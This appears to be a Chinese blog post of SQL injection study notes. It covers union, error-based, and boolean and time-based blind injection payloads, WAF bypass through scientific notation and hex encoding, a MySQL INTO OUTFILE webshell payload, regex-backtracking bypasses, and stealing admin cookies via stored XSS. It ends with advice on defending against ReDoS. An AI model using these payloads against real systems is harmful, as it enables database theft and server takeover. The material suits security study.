【无标题】

本文·先阐述学习 SQL 注入的意义 ------ 可针对互联网(Java/PHP/Python+MySQL)、工业(.NET/ASPX+MSSQL)、银行金融(.NET/Java+Oracle)不同场景提升系统防御、排查能力,防范数据篡改、系统瘫痪等风险;接着讲解 SQL 注入核心知识,包括 substring、length 等常用函数,information_schema 系统库,union/join 联表查询、order by 确定列数、注释符构造语句等技巧,以及 "获取库名→表名→列名→数据" 的基本注入步骤;还介绍了报错注入、盲注(布尔 / 时间)等实操类型,科学计数法、十六进制编码等 WAF 绕过方法,正则回溯攻击的原理与绕过 / 防御手段,mysql 利用 into outfile getshell 的苛刻条件,魔术开关、strpos 等相关问题,以及报错注入类型转换错误的解决办法、union 查询结果显示规则等;最后补充了表单 post 漏洞、信息收集(鹰图、robots.txt)、XSS(xsshunter)等辅助安全内容,和正则回溯攻击的多维度防御策略。

为什么要学sql注入

更好地防御:写出更安全的代码,搭建更稳固的系统

提升安全排查与应急响应能力:应对已存在的安全风险

学习 SQL 注入的意义:工业系统多为长期运行的老旧系统,.NET/MSSQL 架构的存量漏洞较多,学习 SQL 注入能精准定位这类系统的安全隐患;防止恶意人员通过 SQL 注入篡改工业数据(比如电力调度数据、核电站设备监控数据)、瘫痪控制系统,避免引发生产事故、公共安全事件。

sql注入:就是本不该被查询的,被查询到了

第一互联网产品(Java/PHP/Python + MySQL)联网产品

互联网产品用户量大、数据价值高(用户信息、交易数据、内容数据),且多为对外公开访问,是 SQL 注入攻击的高发区。

这也是我们学习的主要

第二 工业产品(核电站、烟草、电力 + .NET/ASPX + MSSQL)

这类工业控制系统看似封闭,但随着 "工业互联网" 的推进,越来越多系统具备网络连接能力,且系统的安全性直接关联公共安全、国家利益,容错率极低。

第三 银行金融 有相关的产品(.NET/Java + Oracle 为主)

金融系统的核心是资金数据和用户征信数据,具有极高的经济价值,是网络攻击的重点目标,SQL 注入的危害会被无限放大。

Oracle 数据库相比 MySQL,SQL 语法更复杂,注入场景更多样,学习 SQL 注入能针对性掌握 Oracle 架构下的安全防御技巧。

sql注入常用截断函数和其他函数

以下均为常用截断函数

select substring('root',2,2) 从第二位开始截断2位

mid(字符串,开始,长度)

substr

left

right

以下为函数实际应用

length(database()); 长度8

substr(database(),1,1); 结果s

ascii(substr(database(),1,1)); 115 可见字符33-127

eg:select if(now()=sysdata(),database(),user()); 对走database,错走user

infomation_schema--重要的系统库:各种信息

重点关注以下信息

schemata--库名 关注字段:schema_name---库名

tables------所有的库名表名(重点关注)

columns---库,表,列 记录了所有列名

联表查询

有union和join两种查询,以下是前置基础

union:用于合并多个 SELECT 语句的结果集,核心是"合并行",不关联表,要求多个 SELECT 的列数、列类型必须一致。

用法:SELECT 列1, 列2 FROM 表1 UNION SELECT 列1, 列2 FROM 表2;

join:用于多表关联查询,根据表间的关联字段(主键/外键)合并多个表的数据,核心是"按关联条件匹配行"。

内连接: SELECT 列 FROM 表1 INNER JOIN 表2 ON 表1.关联列=表2.关联列; 只返回两表匹配成功的行

左连接: SELECT 列 FROM 表1 LEFT JOIN 表2 ON 关联条件; 返回表1所有行,表2无匹配则补 NULL

右连接: SELECT 列 FROM 表1 RIGHT JOIN 表2 ON 关联条件; 返回表2所有行,表1无匹配则补 NULL

联表查询:前提前端要有回显

select*from user union select *from emails;

问题:入侵别人如何确定列数?

order by(排序,asc正,dasc倒)

利用报错知道几列:select *from users oder by 4 desc;

select *from users where id='1' order by ---+ 'limit 0,1'; 要让数据库误解

注释:- - +;#;/**/ post传参要用#注释

真实注入时:?id=-1' union select 1,database(),users() ;- -+

思考:为什么前面要为-1 ,

原因:利用不存在信息查询想要的信息,清空原始结果,返回注入的查询结果,union要两个查询数据一致,数据类型兼容才生效,先前为正确的,只会优先显示原始结果,会覆盖注入结果

我们最终的目的是得到管理员的账号密码(infomationsy所有表)

基本注入步骤

group_concat合并所有字段为一行

1库2表3字段4列

1、获取所有库名:select schema_name from infomation_schema.schemata;

2、知库求表

方法一:select table_name from infomation_schema.tables where table_schema='库名' limit 2,1 ;取1个

方法二:select group_concat(table_name )from infomation_schema.tables where table_schema='库名;

3、知表找列

方法一:select column_name from infomation_schema.columns where table_schema='数据库名' and table_name='表名';

方法二:select group_concat( column_name) from infomation_schema.columns where table_schema='数据库名' and table_name='表名';

4、找数据

就是正常查找自己想要的数据

报错注入

常用的函数:updataxml,extractvalue(1,concat()),fool

?id=1' and updataxml(1,concat(ox7e,database(),ox7e),1);

前面id=1必须为真

updataxml 在mysql中的使用方法

3个参数,1、原本xml文本,2、xoath路径,3、更新替换的内容

xpath路径:注入时构造成非法的路径,把查询语句嵌入进去

xpath 最多为32位,超过32位则要利用substr截断函数

SELECT UPDATEXML(1, concat('~', SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'), 1, 32)) , 1);

SELECT UPDATEXML(1, concat('~', SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'), 33, 64)), 1);

盲注

SQL 注入的一种进阶形式,目标网站不会直接返回数据库错误信息或查询结果,只能通过页面的"是/否""真/假"等间接反馈

length(databse())=7 ;- -+ 有显示即正确-判断长度

ascii(substr(database(),1,1))>115 ;--+ 来判断显示字母

科学计数法-前提数字型注入

1. 绕过数字型WAF拦截 ***重点

当WAF拦截纯数字Payload时,可将数字转为科学计数法形式:

原始Payload(可能被拦截)?id=1 AND 1=1

科学计数法绕过

?id=1e0 AND 1e0=1e0

1e0 等价于 1,1e3 等价于 1000,数据库会自动解析为数字,而WAF可能识别为字符串或未知格式,从而放行。

2. 十六进制编码绕过字符检测

对于字符型注入,可将字符串转为十六进制(本质也是一种科学计数法衍生技巧),避免直接出现敏感字符:

原始Payload(可能被拦截)

?id=1' AND username='admin'--

十六进制绕过(admin 的十六进制为 0x61646d696e)

?id=1' AND username=0x61646d696e--

数据库会自动将 0x 开头的十六进制字符串解析为原字符,WAF无法直接识别,从而绕过关键词拦截。

3.结合函数混淆Payload

科学计数法可与 ASCII()、SUBSTR() 等函数结合,进一步隐藏注入意图:

原始布尔盲注Payload

?id=1 AND ASCII(SUBSTR(DATABASE(),1,1))=115

科学计数法绕过(115 转为 1.15e2)

?id=1 AND ASCII(SUBSTR(DATABASE(),1,1))=1.15e2

单词边界

在正则表达式中,单词边界是一个用于匹配单词位置的锚点,用字符 \b 表示,它匹配的是"单词字符"与"非单词字符"之间的位置,不匹配任何实际字符。

规则

  1. 单词字符:默认指 a-zA-Z0-9_(字母、数字、下划线)

  2. 非单词字符:指除上述字符外的所有字符(如空格、标点、换行等)

eg:/\b select(.*)from\b

有回溯过程

回溯

php正则表达式

1、回溯过程有限

2、当超过回溯最大长度会崩溃,退出

查看回溯次数:网站regexcol.com

绕过方式:加入100万个不匹配的字符

矛盾的if

解决方法:

1、数组绕过,前提是没有限制不让用数组

aaa\[\]=1

2、回溯用脚本

strpos

判断某个字符首次出现的位置,应用====运算符来判断返回值 ;

!== 严格不相等(值,类型)

outfile mysql如何getshell(面试常问) into outfile

前提:1、字段内容? <?php phpinfo(); ,一句话木马

​ 2、文件路径? web物理路径

​ 3、文件名? xxx.php

​ 4、导出这个文件有什么帮助 直接getshell

但是实际上几乎不可以这个漏洞,因为限制条件及其苛刻(以下三个条件必须满足)

限制条件:

1、必须是root权限

2、在某个字段必须为空:secure_file_priv默认位null不可导出,有路径或者空白可以导出(如果路径位/tmp没有用)

3、知道本网站物理路径(猜或者爆破)

into outfile使用

into outfile 本网站绝对路径/保存文件名.txt

实际:id=1')) union select 1,'<?php phpinfo();?> 'out file 路径/ww.php;- -+

布尔注入

方法:报错注入,脚本(二分),bp爆破

时间盲注

and if(ascii(substr(database(),1,1))=115,sleep(3),0); - -+

魔术开关=stripslashes

会转义特殊字符,代表 '失效,逃逸不出单引号的限制

魔术开关5.3以前存在,5.3以后默认关闭

1、传入admin\ ' 本来转义了

2、魔术开关再次转义 --admin \\ ' 防止注入失效了

3、利用函数stripslashes再次使 '生效

思考1重庆再生资源

报错注入改为union select(test.py)

除了正则回溯以外有无其他的思路拿下

1、服务器上有多个站点,用旁注拿下周边的,权限不严就能拿下主要网站

2、利用存储型xss拿后台管理员的cookies(xsshunter网站管理)

思考2如何防御正则回溯、

从源头避免回溯漏洞,关键是消除正则中的贪婪匹配嵌套和可选分支歧义

复制代码
正则回溯攻击(也叫正则表达式DoS,ReDoS)是攻击者构造特殊字符串,让正则表达式的回溯次数呈指数级增长,最终导致服务器CPU占满、服务瘫痪的攻击方式。防御核心是避免写低效正则+限制正则执行资源+加固应用层防护,分三个维度讲具体做法:

一、核心:编写无回溯/低回溯的正则表达式
1. 杜绝「贪婪量词+可选分支」的危险组合
危险示例(会引发大量回溯):
^(a+)+$
匹配aaaaaaaaaaaaaaaaaaaaa!时,(a+)+会不断尝试拆分a的数量,回溯次数呈指数级增长。
修复方案:
简化正则,去掉多余的分组和量词嵌套:
^a+$ 


2. 使用非贪婪量词时避免歧义
非贪婪量词(*?/+?/??)并非绝对安全,需结合场景使用,同时避免无意义的可选分支。
示例:
^(.+?)(abc|def)$匹配长字符串时,会反复回溯匹配abc/def。
修复方案:
 明确匹配边界,减少分支歧义:
^(.+)(abc|def)$
	(或根据场景直接限定结尾字符,避免模糊匹配)
	
	
3. 用原子组阻止回溯(部分语言支持)
原子组((?>pattern))会让正则引擎不保存回溯点,匹配失败直接退出,适用于确定无需回溯的场景。
示例:
^(?>a+)$
 匹配a串时,不会产生任何回溯,性能拉满. 
 
4. 限定匹配长度
对可变长度的匹配(如*/+)增加长度限制,避免无限匹配引发的回溯。
危险:
^[a-zA-Z0-9]*$
修复方案:
^[a-zA-Z0-9]{0,50}$
(根据需求限定最大长度,如50位)

二、应用层:限制正则执行的资源与超时

1. 设置正则执行超时时间
 编程语言层面:Python用re模块的超时参数(Python 3.5+支持),Java用Pattern.quote()+线程超时,PHP用pcre.backtrack_limit限制回溯次数。
Python 示例:设置超时1秒
import re
try:
    re.match(r"^(a+)+$", "a"*10000, timeout=1)
except re.TimeoutError:
    print("正则执行超时,疑似ReDoS攻击")
2. 限制输入字符串长度
 对用户输入做前置校验,拒绝超长字符串,从源头减少回溯的可能性。
3. 禁用危险正则语法
过滤用户可控的正则输入,禁止使用*/+/()等易引发回溯的语法。

三、运维/架构层:加固服务防护

1. 隔离正则执行进程
 将正则匹配操作放到独立的进程/容器中执行,避免单个请求的正则DoS拖垮整个服务。
2. 监控CPU与回溯指标
监控服务器CPU使用率,以及正则引擎的回溯次数,发现异常立即阻断请求。
3. 使用WAF拦截恶意请求
配置WAF规则,拦截特征明显的ReDoS攻击字符串,如超长重复字符+正则触发字符。
 
只要正则包含以下特征,就存在ReDoS风险:
1. 嵌套的贪婪量词:(a+)+、(a*)*、(a+)?;
2. 无长度限制的模糊匹配:.+、.*搭配可选分支;
3. 多层嵌套的分组:((((a+)))+)。

思考3

1'and updataxml (select group_concat table_name) 可以拿到

1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) ;#

a' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) ;#

为什么报这个错误:a'and truncated incorrect BOUBLE value;'a'

原因:1和a 触发不同的语法分析逻辑

'1' 是字符串,但MySQL会自动将数字型字符串'1'转为数值1,和and后的布尔表达式(updatexml的报错逻辑)做运算,类型匹配,无转换错误;

'a' 是纯字母字符串,MySQL尝试将其转为DOUBLE数值(因为and需要布尔/数值型运算),但a无法转为任何数值,直接抛出Truncated incorrect DOUBLE value: 'a' 错误;

这个错误发生在updatexml执行之前,所以报错注入逻辑根本没机会运行,你只看到了类型转换错误

解决办法:

方法一:a' and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

原理1=强制MySQL先执行updatexml的返回值(布尔型),不再尝试将'a'转为DOUBLE,直接触发报错注入

除了updatexml以外我还可以用什么函数报错注入

a' and xxx什么可以成功、

"SELECT username, password FROM users WHERE username='a' union select 1,user()#"

第一 他是否可以查询到数据

username字段 能不能是admin

为什么?

注意

1、表单很容易出现post漏洞

robows.txt是什么

信息收集:鹰图平台,蜘蛛

xsshunter网站管理

相关推荐
唐青枫3 天前
MySQL JSON 实战详解:从存储、查询、更新到 JSON_TABLE 与索引
sql·mysql
掉头发的王富贵5 天前
【StarRocks】极限十分钟入门StarRocks
数据库·sql·mysql
两个人的幸福10 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
zzzzzz31010 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
云技纵横12 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
BingoGo12 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack12 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820713 天前
PHP 扩展——从入门到理解
php
鹏仔先生14 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
网络研究院14 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展